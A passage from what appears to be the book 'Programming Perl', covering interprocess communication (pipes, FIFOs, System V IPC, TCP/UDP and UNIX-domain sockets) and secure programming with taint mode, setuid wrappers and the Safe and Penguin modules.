The problem with this in general is that UNIX buffering is really going to ruin your day. Even though your Writer filehandle is autoflushed, and the process on the other end will get your data in a timely manner, you can't usually do anything to force it to actually give it back to you in a similarly quick fashion. In this particular case we can, since (on some systems) the cat program has a -u option to make it do unbuffered output. But very few UNIX commands are designed to operate well over pipes, so this seldom works unless you yourself wrote the program on the other end of the double-ended pipe.

A partial solution to this is to use the Comm.pl library (not a standard module - see CPAN). It uses pseudo-ttys to make your program behave more reasonably, at least on those machines that force standard output to do line-buffering:

require 'Comm.pl';
$ph = open_proc('cat -n');
for (1..10) {
    print $ph "a line\n";
    print "got back ", scalar <$ph>;
}

This way you don't have to have control over the source code of the program you're using.

6.2.2.4 Named pipes

A named pipe (often called a FIFO) is an old UNIX mechanism for setting up pipes between unrelated processes. The names in question exist in the filesystem, which is just a funny way to say that you can put a special file in the filesystem that has another process behind it instead of a disk.

To create a named pipe, use the UNIX command mknod(1) or, on some systems, mkfifo(1). These commands may not be in your normal execution path.

# system() return value is backwards, so "and" not "or"
#
$ENV{PATH} .= ":/etc:/usr/etc";
if  (      system('mknod',  $path, 'p')
       and system('mkfifo', $path) )
{
    die "mk{nod,fifo} $path failed";
}

A FIFO is convenient when you want to connect a process to an unrelated one. When you open a FIFO, the program will block until there's something on the other end.

For example, let's say you'd like to have your .signature file be a named pipe that has a Perl program on the other end. Now every time any program (like a mailer, newsreader, finger program, and so on) tries to read from that file, the reading program will block and your program will supply the new signature. We'll use the pipe-checking file test, -p, to find out whether anyone (or anything) has accidentally removed our FIFO.

chdir; # go home
$FIFO = '.signature';
$ENV{PATH} .= ":/etc:/usr/games";
while (1) {
    unless (-p $FIFO) {
        unlink $FIFO;
        system('mknod', $FIFO, 'p')
            && die "can't mknod $FIFO: $!";
    }
    # next line blocks until there's a reader
    open (FIFO, "> $FIFO") or die "can't write $FIFO: $!";
    print FIFO "John Smith (smith\@host.org)\n", `fortune -s`;
    close FIFO;
    sleep 1;    # to avoid dup sigs
}

If that last comment seems opaque to you, consider how often the fortune program changes its current fortune.

Note that a FIFO in an NFS partition won't transfer data across your network.

6.2.3 System V IPC

Although System V IPC is pretty ancient, it still has some valid uses. But you can't use System V shared memory (or the more modern mmap(2) system call, for that matter) to share a variable among several processes. That's because Perl would reallocate your string when you weren't wanting it to. Instead, Perl uses a read/write notion.

Here's a small example showing shared memory usage:

$IPC_PRIVATE = 0;
$IPC_RMID = 0;
$size = 2000;
$key = shmget($IPC_PRIVATE, $size , 0777 );
die unless defined $key;
$message = "Message #1";
shmwrite($key, $message, 0, 60 ) or die "shmwrite: $!";
shmread($key,$buff,0,60) or die "shmread: $!";
print $buff,"\n";
print "deleting $key\n";
shmctl($key ,$IPC_RMID, 0) or die "shmctl: $!";

Here's an example of a semaphore:

$IPC_KEY = 1234;
$IPC_RMID = 0;
$IPC_CREATE = 0001000;
$key = semget($IPC_KEY, $nsems, 0666 | $IPC_CREATE );
die if !defined($key);
print "$key\n";

Put this code in a separate file so that more than one process can require and run it. Call the file take:

# create a semaphore
$IPC_KEY = 1234;
$key = semget($IPC_KEY, 0, 0 );
die if !defined($key);
$semnum = 0;
$semflag = 0;
# 'take' semaphore
# wait for semaphore to be zero
$semop = 0;
$opstring1 = pack("sss", $semnum, $semop, $semflag);
# Increment the semaphore count
$semop = 1;
$opstring2 = pack("sss", $semnum, $semop,  $semflag);
$opstring = $opstring1 . $opstring2;
semop($key,$opstring) or die "semop: $!";

Put this code in a separate file to be run in more than one process. Call this file give:

# 'give' the semaphore
# run this in the original process and you will see
# that the second process continues
$IPC_KEY = 1234;
$key = semget($IPC_KEY, 0, 0);
die if !defined($key);
$semnum = 0;
$semflag = 0;
# Decrement the semaphore count
$semop = -1;
$opstring = pack("sss", $semnum, $semop, $semflag);
semop($key,$opstring) or die "semop: $!";

The code above is rather low-level and clunky. A better approach would be to use the IPC::SysV module in CPAN.

6.2.4 Sockets

While sockets were invented under UNIX, nowadays you can find them on many other operating systems (though sometimes as an unbundled product). If you don't have sockets on your machine, you're going to have difficulty cooperating with processes on the Internet. With sockets, you can do both virtual circuits (that is, TCP streams) and datagrams (that is, UDP packets). You may be able to do even more, depending on your system.

The Perl function calls for dealing with sockets have the same names as the corresponding system calls in C, but their arguments tend to differ for two reasons: first, Perl filehandles work differently from C file descriptors, and second, Perl already knows the length of its strings, so you don't need to pass that information. See Chapter 3 for details on each call.

Most of these routines quietly but politely return the undefined value when they fail, instead of causing your program to die right then and there due to an uncaught exception. (Actually, some of the new Socket module conversion functions call croak() on bad arguments.) It is therefore essential that you check the return values of these functions. Always begin your socket programs this way for optimal success (and don't forget to add -T taint checking switch to the shebang line for servers):

#!/usr/bin/perl -w
require 5.002;
use strict;
use sigtrap;
use Socket;

All the socket routines create system-specific portability problems. As noted elsewhere, Perl is at the mercy of your C libraries for much of its system behavior. It's probably safest to assume broken System V semantics for signals and to stick with simple TCP and UDP socket operations; for example, don't try to pass open file descriptors over a local UDP datagram socket if you want your code to stand a chance of being portable. (Yes, you can really do that on some machines - see BSD in the Glossary.)

One of the major problems with ancient socket code in Perl was that it tended to use hard-coded values for some of the constants, which severely hurt portability. If you ever see code that does anything like explicitly setting $AF_INET = 2, you know you're in for big trouble. An immeasurably superior approach is to use the Socket module, which more reliably grants access to the various constants and functions you'll need.

Below we will present several sample clients and servers without a great deal of explanation, since it would mostly duplicate the descriptions we've already provided in Chapter 3. Besides those descriptions, you should also check out CPAN. Section 5 of the CPAN modules file is devoted to "Networking, Device Control (modems), and Interprocess Communication", and refers you to numerous unbundled modules having to do with networking, Chat and Expect operations, CGI programming, DCE, FTP, IPC, NNTP, Proxy, Ptty, RPC, SNMP, SMTP, Telnet, Threads, and ToolTalk - just to name a few.

6.2.4.1 Internet TCP clients and servers

Use Internet-domain sockets when you want to do client-server communication between different machines.

Here's a sample TCP client using Internet-domain sockets:

#!/usr/bin/perl -w
require 5.002;
use strict;
use Socket;
my ($remote, $port, $iaddr, $paddr, $proto, $line);
$remote  = shift || 'localhost';
$port    = shift || 2345;  # random port
if ($port =~ /\D/) { $port = getservbyname($port, 'tcp') }
die "No port" unless $port;
$iaddr   = inet_aton($remote)              or die "no host: $remote";
$paddr   = sockaddr_in($port, $iaddr);
$proto   = getprotobyname('tcp');
socket(SOCK, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
connect(SOCK, $paddr)                      or die "connect: $!";
while ($line = <SOCK>) {
    print $line;
}
close (SOCK)                               or die "close: $!";
exit;

And here's a corresponding server to go along with it. The client didn't need to bind an address, but the server does. However, we'll specify the address as INADDR_ANY so that the kernel can choose the appropriate interface on multi-homed hosts. If you want to sit on a particular interface (like the external side of a gateway or firewall machine), you should fill this in with your real address instead.

#!/usr/bin/perl -Tw
require 5.002;
use strict;
BEGIN { $ENV{PATH} = '/usr/ucb:/bin' }
use Socket;
use Carp;
sub logmsg { print "$0 $$: @_ at ", scalar localtime, "\n" }
my $port = shift || 2345;
my $proto = getprotobyname('tcp');
socket(Server, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
setsockopt(Server, SOL_SOCKET, SO_REUSEADDR, pack("l", 1))
                                             or die "setsockopt: $!";
bind(Server, sockaddr_in($port, INADDR_ANY)) or die "bind: $!";
listen(Server,SOMAXCONN)                     or die "listen: $!";
logmsg "server started on port $port";
my $paddr;
$SIG{CHLD} = \&REAPER;
for ( ; $paddr = accept(Client,Server); close Client) {
    my($port,$iaddr) = sockaddr_in($paddr);
    my $name = gethostbyaddr($iaddr,AF_INET);
    logmsg "connection from $name [",
            inet_ntoa($iaddr), "] at port $port";
    print CLIENT "Hello there, $name, it's now ",
                    scalar localtime, "\n";
}

And here's a multi-threaded version. It's multi-threaded in the sense that, like most typical servers, it spawns (forks) a slave server to handle the client request so that the master server can quickly go back to service the next client.

#!/usr/bin/perl -Tw
require 5.002;
use strict;
BEGIN { $ENV{PATH} = '/usr/ucb:/bin' }
use Socket;
use Carp;
use FileHandle;

sub spawn;  # forward declaration
sub logmsg { print "$0 $$: @_ at ", scalar localtime, "\n" }

my $port = shift || 2345;
my $proto = getprotobyname('tcp');
socket(Server, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
setsockopt(Server, SOL_SOCKET, SO_REUSEADDR, pack("l", 1))
                                             or die "setsockopt: $!";
bind(Server, sockaddr_in($port, INADDR_ANY)) or die "bind: $!";
listen(Server,SOMAXCONN)                     or die "listen: $!";

logmsg "server started on port $port";

my $waitedpid = 0;
my $paddr;

sub REAPER {
    $waitedpid = wait;
    $SIG{CHLD} = \&REAPER;  # if you don't have sigaction(2)
    logmsg "reaped $waitedpid" . ($? ? " with exit $?" : "");
}
$SIG{CHLD} = \&REAPER;

for ( ; $paddr = accept(Client,Server); close Client) {
    my($port,$iaddr) = sockaddr_in($paddr);
    my $name = gethostbyaddr($iaddr,AF_INET);

    logmsg "connection from $name [",
            inet_ntoa($iaddr), "] at port $port";

    spawn sub {
        print "Hello there, $name, it's now ", scalar localtime, "\n";
        exec '/usr/games/fortune'
            or confess "can't exec fortune: $!";
    };

}

sub spawn {
    my $coderef = shift;

    unless (@_ == 0 && $coderef && ref($coderef) eq 'CODE') {
        confess "usage: spawn CODEREF";
    }

    my $pid;
    if (!defined($pid = fork)) {
        logmsg "cannot fork: $!";
        return;
    } elsif ($pid) {
        logmsg "begat $pid";
        return; # i'm the parent
    }
    # else i'm the child -- go spawn

    open(STDIN,  "<&Client")    or die "can't dup client to stdin";
    open(STDOUT, ">&Client")    or die "can't dup client to stdout";
    STDOUT->autoflush();
    exit &$coderef();
}

As mentioned, this server takes the trouble to clone off a child version via fork for each incoming request. That way it can handle many requests at once, as long as you can create more processes. (You might want to limit this.) Even if you don't fork, the listen will allow up to SOMAXCONN (usually five or more) pending connections. Each connection uses up some resources, although not as much as a process. Forking servers also have to be particularly careful about cleaning up their dead children (called zombies in UNIX), because otherwise they'd quickly fill up your process table. The REAPER code above will take care of that for you.

If you're running on a system without restartable system calls (or if you want to be really careful in case you might someday run on such a system), you'll have to write a more elaborate for loop. That's because the act of collecting the zombie child process may cause the accept to fail and return the undefined value, making your loop fail prematurely. Here's a work-around:

for ( $waitedpid = 0;
      ($paddr = accept(Client,Server)) || $waitedpid;
      $waitedpid = 0, close Client)
{
    next if $waitedpid and not $paddr;   # or check $! == EINTR
    # the rest is the same...

We suggest that you use the -T switch to enable taint checking (see "Cooperating with Strangers" and "Cooperating with Other Languages" later in this chapter) even if you aren't running setuid or setgid. This is always a good idea for servers and other programs (like CGI scripts) that run on behalf of someone else, because it lessens the chances that people from the outside will be able to compromise your system.

Let's look at another TCP client. This one connects to the TCP "time" service on a number of different machines and shows how far their clocks differ from the system on which the client is being run:

#!/usr/bin/perl -w
require 5.002;
use strict;
use Socket;
my $SECS_of_70_YEARS = 2208988800;
sub ctime { scalar localtime(shift) }
my $iaddr = gethostbyname('localhost');
my $proto = getprotobyname('tcp');
my $port = getservbyname('time', 'tcp');
my $paddr = sockaddr_in(0, $iaddr);
my($host);
$| = 1;
printf "%-24s %8s %s\n",  "localhost", 0, ctime(time());
foreach $host (@ARGV) {
    printf "%-24s ", $host;
    my $hisiaddr = inet_aton($host)     or die "unknown host";
    my $hispaddr = sockaddr_in($port, $hisiaddr);
    socket(SOCKET, PF_INET, SOCK_STREAM, $proto)
                                        or die "socket: $!";
    connect(SOCKET, $hispaddr)          or die "bind: $!";
    my $rtime = '    ';
    read(SOCKET, $rtime, 4);
    close(SOCKET);
    my $histime = unpack("N", $rtime) - $SECS_of_70_YEARS ;
    printf "%8d %s\n", $histime - time, ctime($histime);
}

6.2.4.2 UNIX-domain clients and servers

That's all fine for Internet-domain clients and servers, but what about local communications? While you can just pretend that your local machine is remote, sometimes you don't want to. UNIX-domain sockets are local to the current host, and are often used internally to implement pipes. They tend to be a little more efficient than Internet-domain sockets. Unlike Internet-domain sockets, UNIX domain sockets can show up in the file system with an ls(1) listing.

$ ls -l /dev/log
srw-rw-rw-  1 root            0 Oct 31 07:23 /dev/log

You can test for these with Perl's -S file test:

unless ( -S '/dev/log' ) {
    die "something's wicked with the print system";
}

Here's a sample UNIX-domain client:

#!/usr/bin/perl -w
require 5.002;
use Socket;
use strict;
my ($rendezvous, $line);

$rendezvous = shift || '/tmp/catsock';
socket(SOCK, PF_UNIX, SOCK_STREAM, 0)     or die "socket: $!";
connect(SOCK, sockaddr_un($rendezvous))   or die "connect: $!";
while ($line = <SOCK>) {
    print $line;
}
exit;

And here's a corresponding server.

#!/usr/bin/perl -Tw
require 5.002;
use strict;
use Socket;
use Carp;

BEGIN { $ENV{PATH} = '/usr/ucb:/bin' }

my $NAME = '/tmp/catsock';
my $uaddr = sockaddr_un($NAME);
my $proto = getprotobyname('tcp');

socket(Server,PF_UNIX,SOCK_STREAM,0)      or die "socket: $!";
unlink($NAME);
bind  (Server, $uaddr)                    or die "bind: $!";
listen(Server,SOMAXCONN)                  or die "listen: $!";

logmsg "server started on $NAME";

$SIG{CHLD} = \&REAPER;

for ( ; $paddr = accept(Client,Server); close Client) {
    logmsg "connection on $NAME";
    spawn sub {
        print "Hello there, it's now ", scalar localtime, "\n";
        exec '/usr/games/fortune';
        die "can't exec fortune: $!";
    };
}

As you see, it's remarkably similar to the Internet-domain TCP server, so much so, in fact, that we've omitted several duplicate functions - spawn(), logmsg(), ctime(), and REAPER() - which are exactly the same as in the other server.

So why would you ever want to use a UNIX domain socket instead of a FIFO? Because a FIFO doesn't give you sessions. You can't tell one process's data from another's. With socket programming, you get a separate session for each client - that's why accept takes two arguments.

For example, let's say that you have a long-running database server daemon that you want folks from the World Wide Web to be able to access, but only if they go through a CGI interface. You'd have a small, simple CGI program that does whatever checks and logging you feel like, and then acts as a UNIX-domain client and proxies the request to your private server.

6.2.4.3 UDP: message passing

Another kind of client-server setup is one that uses not connections, but messages, or datagrams. UDP communications involve much lower overhead but also provide less reliability, since there are no promises that messages will arrive at all, let alone in order and unmangled. Still, UDP offers some advantages over TCP, including being able to broadcast or multicast to a whole bunch of destination hosts at once (usually on your local subnet). If you find yourself overly concerned about reliability and start building checks into your message system, then you probably should just use TCP to start with.

Here's a UDP program similar to the sample Internet TCP client given above. However, instead of checking one host at a time, the UDP version will check many of them asynchronously by simulating a multicast and then using select to do a timed-out wait for I/O. To do something similar with TCP, you'd have to use a different socket handle for each host.

#!/usr/bin/perl -w
use strict;
require 5.002;
use Socket;
use Sys::Hostname;
my ( $count, $hisiaddr, $hispaddr, $histime,
     $host, $iaddr, $paddr, $port, $proto,
     $rin, $rout, $rtime, $SECS_of_70_YEARS);
$SECS_of_70_YEARS      = 2208988800;
$iaddr = gethostbyname(hostname());
$proto = getprotobyname('udp');
$port = getservbyname('time', 'udp');
$paddr = sockaddr_in(0, $iaddr); # 0 means let kernel pick
socket(SOCKET, PF_INET, SOCK_DGRAM, $proto)   or die "socket: $!";
bind(SOCKET, $paddr)                          or die "bind: $!";
$| = 1;
printf "%-12s %8s %s\n",  "localhost", 0, scalar localtime time;
$count = 0;
for $host (@ARGV) {
    $count++;
    $hisiaddr = inet_aton($host)              or die "unknown host";
    $hispaddr = sockaddr_in($port, $hisiaddr);
    defined(send(SOCKET, 0, 0, $hispaddr))    or die "send $host: $!";
}
$rin = "";
vec($rin, fileno(SOCKET), 1) = 1;
# timeout after 10.0 seconds
while ($count && select($rout = $rin, undef, undef, 10.0)) {
    $rtime = "";
    ($hispaddr = recv(SOCKET, $rtime, 4, 0))  or die "recv: $!";
    ($port, $hisiaddr) = sockaddr_in($hispaddr);
    $host = gethostbyaddr($hisiaddr, AF_INET);
    $histime = unpack("N", $rtime) - $SECS_of_70_YEARS ;
    printf "%-12s ", $host;
    printf "%8d %s\n", $histime - time, scalar localtime($histime);
    $count--;
}

Previous: 6.1 Cooperating with Command Interpreters | Programming Perl | Next: 6.3 Cooperating with Strangers
6.1 Cooperating with Command Interpreters | Book Index | 6.3 Cooperating with Strangers


[Chapter 6] 6.3 Cooperating with Strangers

Programming PerlSearch this book

6.3 Cooperating with Strangers

Whether you're dealing with a user sitting at the keyboard typing commands, or someone sending information across the network, you need to be careful about the data coming into your programs, since the other person may, either maliciously or accidentally, send you data that will do more harm than good. Perl provides a mechanism to isolate tainted data so that you won't use it to do something you didn't intend to do. For instance, if you mistakenly trust a tainted filename, you might end up appending an entry to your passwd file when you thought you were appending to a log file.

And if the data you get from a stranger happens to be a bit of program to execute, you need to be even more careful. Perl provides a method of dealing with that, too. But first we'll talk about ordinary tainted data.

6.3.1 Handling Insecure Data

Perl is designed to make it easy to program securely even when your program is being used by someone with fewer privileges than the program itself. That is, some programs need to grant some extra privileges to their users, without giving away other privileges that they didn't intend to give away. Setuid and setgid programs fall into this category, as do many network servers, and the programs the servers themselves run, such as CGI scripts. At a fundamental level, Perl is easy to program securely because it's straightforward and self-contained. Unlike most command-line shells, which are based on multiple mysterious substitution passes on each line of the script, Perl uses a more conventional evaluation scheme with fewer hidden snags. Additionally, because the language has more built-in functionality, it can rely less upon external (and possibly untrustworthy) programs to accomplish its purposes.

But beyond that, Perl automatically enables a special security-checking mechanism called taint mode whenever it detects its program running with differing real and effective user or group IDs.[6] You can also enable taint mode explicitly by using the -T command line switch. This is suggested for server programs and any program run on behalf of someone else, such as a CGI script.

[6] The setuid bit in UNIX permissions is mode 04000, and the setgid bit is 02000; either or both may be set to grant the user of the program some of the privileges of the owner (or owners) of the program. Other operating systems may confer special privileges on programs in other ways, but the principle is the same.

While in this mode, Perl takes special precautions called taint checks to prevent both obvious and subtle traps. Some of these checks are reasonably simple, such as verifying that path directories aren't writable by others; careful programmers have always used checks like these. Other checks, however, are best supported by the language itself, and it is these checks especially that contribute to making a setuid Perl program more secure than the corresponding C program.

The principle is simple: you may not use data derived from outside your program to affect something else outside your program - at least, not by accident. All command-line arguments, environment variables, and file input are marked as tainted. Tainted data may not be used directly or indirectly in any command that invokes a subshell, nor in any command that modifies files, directories, or processes. Any variable set within an expression that has previously referenced a tainted value becomes tainted itself, even if it is logically impossible for the tainted value to influence the variable. Because taintedness is associated with each scalar value, some elements of an array or hash might be tainted and others not.

The following code illustrates how tainting would work if you executed all these statements in order:

$arg = shift;               # $arg is tainted
$hid = "$arg, 'bar'";       # $hid is also tainted
$line = <>;                 # Tainted
$path = $ENV{PATH};         # Tainted, but see below
$mine = 'abc';              # Not tainted
$shout = `echo abc`;        # Tainted
$shout = `echo $shout`;     # Insecure
system "echo $arg";         # Insecure (uses sh)
system "/bin/echo", $arg;   # OK (doesn't use sh)
system "echo $mine";        # Insecure until PATH set
system "echo $hid";         # Insecure two ways
$path = $ENV{PATH};         # $path tainted
$ENV{PATH} = '/bin:/usr/bin';
$ENV{IFS} = "" if $ENV{IFS} ne "";
$path = $ENV{PATH};         # $path now NOT tainted
system "echo $mine";        # OK, is secure now!
system "echo $hid";         # Insecure via $hid still
open(OOF, "< $arg");        # OK (read-only file)
open(OOF, "> $arg");        # Insecure (trying to write)
open(OOF, "echo $arg|");    # Insecure via $arg, but...
open(OOF,"-|")
    or exec 'echo', $arg;   # Considered OK
$shout = `echo $arg`;       # Insecure via $arg
unlink $mine, $arg;         # Insecure via $arg
umask $arg;                 # Insecure via $arg
exec "echo $arg";           # Single arg to exec or system is insecure
exec "echo", $arg;          # Considered OK (doesn't use the shell)
exec "sh", '-c', $arg;      # Considered OK, but isn't really

If you try to do something insecure, you get a fatal error saying something like "Insecure dependency" or "Insecure $ENV{PATH}". You can still write an insecure system or exec, but only by explicitly doing something like the last example. If you pass a LIST to system or exec, you are presumed to know what you're doing.

6.3.1.1 Detecting and laundering tainted data

To test whether a variable contains tainted data, you can use the following is_tainted() function.

sub is_tainted {
    not eval {
        join("",@_), kill 0;
        1;
    };
}

This function makes use of the obscure fact that the kill function tests for taintedness even when no process IDs are supplied to send the signal to. More important, the function also depends on the fact that using tainted data anywhere within an expression renders the entire expression tainted. It would be inefficient for every operator to test every argument for taintedness. Instead, a slightly more efficient and conservative approach is used: if any tainted value has been accessed within the same expression, the whole expression is considered tainted.

But testing for taintedness only gets you so far. Usually you know perfectly well which variables contain tainted data - you just have to clear the data's taintedness. The only way to bypass the tainting mechanism is by referencing subpattern variables set by an earlier regular expression match. The presumption is that if you reference a substring using $1, $2, and so on, you knew what you were doing when you wrote the pattern, and wrote it to weed out anything dangerous. So you need to give it a bit of thought - don't just blindly untaint anything, or you defeat the entire mechanism. Also, it's better to verify that the variable has only good characters rather than checking whether it has any bad characters. That's because it's far too easy to miss bad characters that you never thought of.

For example, here's a test to make sure $addr contains nothing but "word" characters (alphabetics, numerics, and underscores), or a hyphen, an @ sign, or a dot.

if ($addr =~ /^([-\@\w.]+)$/) {
    $addr = $1;                     # $addr now untainted
}
else {
    die "Bad data in $addr";        # log this somewhere
}

This is fairly secure since /\w+/ doesn't normally match shell metacharacters, nor are dot, hyphen, or "at" going to mean anything special to the shell. Had we used /(.+)/ instead, it would have been insecure because that pattern lets everything through. But Perl doesn't check for that. So when untainting, you must be exceedingly careful with your patterns. Laundering data using regular expressions is the only internal mechanism for untainting dirty data. (But see "Cleaning Up Your Path" later, about forking a child of lesser privilege.)

6.3.1.2 Cleaning up your path

When you run a program from within Perl, whether you're using the `...`, glob, system, exec, or open commands, Perl checks to make sure your PATH environment variable is secure. If you get the "Insecure $ENV{PATH}" message, you need to set $ENV{PATH} to a known value, and each directory in the path must be non-writable by anyone other than the directory's owner and group. You may be surprised to get this message even when the filename of your executable is absolute (that is, fully qualified from the root of your filesystem). True, when you supply an absolute filename, the PATH isn't used to locate the executable. However, Perl doesn't trust the program you're running not to turn right around and execute some other program using the insecure PATH. So it forces you to set a secure PATH anyway.

Perl has its own notion of which operations are dangerous, but it's still possible to get into trouble with other operations that don't care whether they use tainted values. Make judicious use of the file tests in dealing with any user-supplied filename. When possible, do your open operations and such after setting $> = $<. (Remember that under UNIX you have group IDs, too!) Perl doesn't prevent you from opening tainted filenames for reading, so be careful what you print out. The tainting mechanism is intended to prevent stupid mistakes, not to remove the need for thought.

You may recall that system never calls the shell when you pass it a list of arguments, but only when you pass it a string containing shell metacharacters. (The same applies to exec.) Since you can explicitly bypass the shell by passing a list of arguments, this form is not considered a dangerous operation. Unfortunately, the open, glob, and backtick functions provide no such alternate calling convention, so more subterfuge will be required.

Perl provides a reasonably safe way to open a file or pipe from within a setuid or setgid program: just create a child process with reduced privilege who does the dirty work for you. First, fork a child using the special open syntax that connects the parent and child by a pipe. Now the child resets its user and group IDs (and any other per-process attributes, like environment variables, umasks, current working directories) back to the originals or known safe values. Then the child process, which no longer has any special permissions, does the open or other system call. Finally, the child passes whatever data it managed to access back to the parent. Since the file or pipe was opened in the child while running under less privilege than the parent, the child is unlikely to be tricked into doing something it shouldn't.

For example, here's how you might emulate backticks in reasonable safety. Notice how the exec is not called with a string that the shell could expand. This is by far the best way to call something that might be subjected to shell escapes: just never call the shell at all. By the time we get to the exec, tainting is turned off, however, so be careful what you call and what you pass it.

use English;
die unless defined($pid = open(KID, "-|"));
if ($pid) {           # parent
    while (<KID>) {
        # do something
    }
    close KID;
}
else {
    $EUID = $UID;
    $EGID = $GID;    # XXX: initgroups() not called
    $ENV{PATH} = "/bin:/usr/bin";
    exec 'myprog', 'arg1', 'arg2';
    die "can't exec myprog: $!";
}

A similar strategy would work for wildcard expansion via glob.

6.3.1.3 Security bugs

Beyond the obvious problems that stem from giving special privileges to interpreters as flexible and inscrutable as shells, many versions of UNIX have the additional difficulty that any setuid script is inherently insecure before it ever gets to the interpreter. That is, the problem is not the script itself, but a race condition in the way kernel invokes an interpreter mentioned on the #! line. (The bug doesn't exist on machines that don't recognize #! in the kernel.) Between the time the kernel opens the file to see which interpreter to run and the time the (now-setuid) interpreter starts up and reopens the file to interpret it, the file in question may have changed, especially if your system supports symbolic links.

Fortunately, sometimes this kernel "feature" can be disabled. Unfortunately, there are two ways to disable it. The system can outlaw scripts with the setuid bit set, which doesn't help much. Alternately, it can ignore the setuid bit on scripts. If the latter is true, Perl can emulate the setuid and setgid mechanism when it notices the (otherwise useless) setuid/gid bits on Perl scripts. It does this via a special executable called suidperl, which is automatically invoked for you if it's needed.

However, if the kernel setuid script feature isn't disabled, Perl will complain loudly that your setuid script is insecure. You'll need to either disable the kernel setuid script feature,[7] or put a C wrapper around the script. A C wrapper is just a compiled program that does nothing except call your Perl program. Compiled programs are not subject to the kernel bug that plagues setuid scripts.

[7] This may be difficult if your kernel vendor manifests the typical degree of deafness.

Here's a simple wrapper, written in C:

#define REAL_FILE "/path/to/script"
main(ac, av)
    char **av;
{
    execv(REAL_FILE, av);
}

Compile this wrapper into a binary executable and then make it rather than your script setuid or setgid. Be sure to use an absolute filename, since C isn't smart enough to do taint checking on your PATH.

See the program wrapsuid in the eg directory of your Perl distribution for a convenient way to do this automatically for all your setuid Perl programs. It renames your setuid scripts to have a dot on the front, and then compiles a wrapper like the one above for each of them. It gives each wrapper the name of the script it replaces.

In recent years, some vendors have begun to supply systems free of this inherent security bug. On such systems, when the kernel passes the name of the setuid script to open to the interpreter, it no longer passes a filename subject to meddling, but instead passes /dev/fd/3. This is a special file already opened on the script, so that there can be no race condition for evil scripts to exploit. On these systems, Perl should be compiled with -DSETUID_SCRIPTS_ARE_SECURE_NOW. The Configure program that builds Perl tries to figure this out for itself, so you should never have to specify this yourself. Most modern releases of SysVr4 and BSD 4.4 use this approach to avoid the kernel race condition.

Prior to release 5.003 of Perl, a bug in the code of suidperl could introduce a security hole in systems compiled with strict POSIX compliance. If you must run an earlier version of suidperl, please see CERT advisory CA-96.12.

6.3.2 Handling Insecure Code

Taint checking is useful when you trust yourself to write honest code, but don't necessarily trust whoever's feeding you data not to try to trick you into doing something bad. Taint checking is the sort of security blanket that's useful for setuid programs and programs launched on someone else's behalf, like CGI programs.

It's quite another matter when you don't even trust the writer of the code you're running. What if you fetch an applet off the Net and it contains a virus, or a time bomb, or a Trojan horse? Taint checking is useless here, because the code itself may be tainted, while the data you're feeding it presumably is not. You're placing yourself in the position of someone who receives a mysterious device from a stranger, with a note that says, "Just hold this to your head and pull the trigger." Maybe you think it will dry your hair, but you might not think so for very long.

In this realm, prudence is synonymous with paranoia. What you want is a system in which you can impose a quarantine on suspicious code. The code can continue to exist, and even perform certain functions, but you don't let it wander around doing anything it feels like doing. In Perl, you can impose a kind of quarantine using the Safe module.

6.3.2.1 Safe

The Safe module allows the programmer to set up special compartments in which all system operations are trapped and namespace access is carefully controlled. The technical details of this module are explained in Chapter 7. Here we'll take a more philosophical approach.

At the most basic level, a Safe object is like a safe, except the idea is to keep the bad people in, not out. In the UNIX world, there is a system call known as chroot(2) that can permanently consign a process to run only in a subdirectory of the directory structure, in its own private little hell, if you will. Once the process is put there, there is no way whatsoever for it to reach anything outside, because there's no way for it to name anything outside. A Safe object is a little like that, except that instead of being restricted to a subset of the directory structure, it's restricted to a subset of Perl's package structure, which is hierarchical just as the directory structure is. It suffices to give the Safe object its own "main package", so that it can't influence the rest of your program.

The other important thing about a Safe object is that it limits the operations available to the tainted code. The details of this aren't important here, but what is important is that this is under the control of your code. And since you can create multiple Safe objects in your program, you can confer various degrees of trust upon various chunks of code, depending on where you got them from. Or more importantly, on whom you got them from. This leads us to the notion of Penguin.

6.3.2.2 Penguin

If you're going to bestow more than the minimal amount of trust on the code you get from someone (and you have to, if you think about it), you must also trust the mechanism by which the trustworthy code is delivered to you. In the good old days, of course, we just ignored the problem, but these days if you do that you get infected by a virus. So we're moving toward the day in which most software will be delivered with an encrypted seal guaranteeing that it comes from where you think it comes from, and that it hasn't been tampered with in the meanwhile.

Penguin is a Perl module that allows you to send encrypted, digitally signed Perl code (termed "executable content" in Marketese) to a remote machine to be executed. At the other end, it lets you receive code and, depending on who signed it, execute it within the constraints of an arbitrarily secure Safe object. You'll note that we didn't say which end was the client and which end was the server. This was intentional, because it doesn't really matter.

Penguin thus enables you to perform Internet commerce safely, write mobile information-gathering agents, distribute "live content" web-browser helper applications, perform distributed load-balanced computation, update remote software, administer distant machines, propagate content-based information, build Internet-wide shared-data applications and network application builders, and so on. And it's completely non-proprietary.

As its author, Felix Gallo, puts it:

Penguin-as-a-concept grew from early thinking about agent-tcl, a language I made up during a heated discussion with the safe-tcl people. Tcl proved to be an inappropriate implementation language. Soon after I stopped trying, Sun's Java language arrived on the scene, purporting to solve many of the issues I had thought were important. However, although superior to tcl, Java is also an inappropriate and difficult implementation language. Hence Perl, hence Penguin.

Penguin, with its vastly simplified, superior, and innate methods of ensuring safety and security, may become a very interesting tool in the repertoires of the many thousands of Perl programmers already extant on the Internet. Once people discover the glass walls of Java and the inconsistencies and insecurities engendered in the other solutions, we may begin to live in interesting times.

Hmm, we seem to be slipping into a competitive frame of mind here. Ah, well. The next section should help with that.

As of this writing, Penguin is still developing fast enough that it is not yet included as part of the standard Perl distribution. That doesn't mean we don't like it. As usual, consult CPAN for the latest details.

Previous: 6.2 Cooperating with Other Processes | Programming Perl | Next: 6.4 Cooperating with Other Languages
6.2 Cooperating with Other Processes | Book Index | 6.4 Cooperating with Other Languages


[Chapter 6] 6.4 Cooperating with Other Languages

Programming PerlSearch this book

6.4 Cooperating with Other Languages

Just as there are many levels on which languages can compete, so too there are many levels on which languages can cooperate. Here we'll talk primarily about generation, translation and embedding (via linking).

6.4.1 Program Generation

Almost from the time people first figured out that they could write programs, they started writing programs that write other programs. These are called program generators. (If you're a history buff, you might know that RPG stood for Report Program Generator long before it stood for Role Playing Game.) Now, anyone who has written a program generator knows that it can make your eyes go crossed even when you're wide awake. The problem is simply that much of your program's data looks like real code, but isn't (at least not yet). The same text file contains both stuff that does something and similar looking stuff that doesn't. Perl has various features that make it easier to mix it together with other languages, textually speaking.

Of course, these features also make it easier to write Perl in Perl, but it's rather expected that Perl would cooperate with itself.

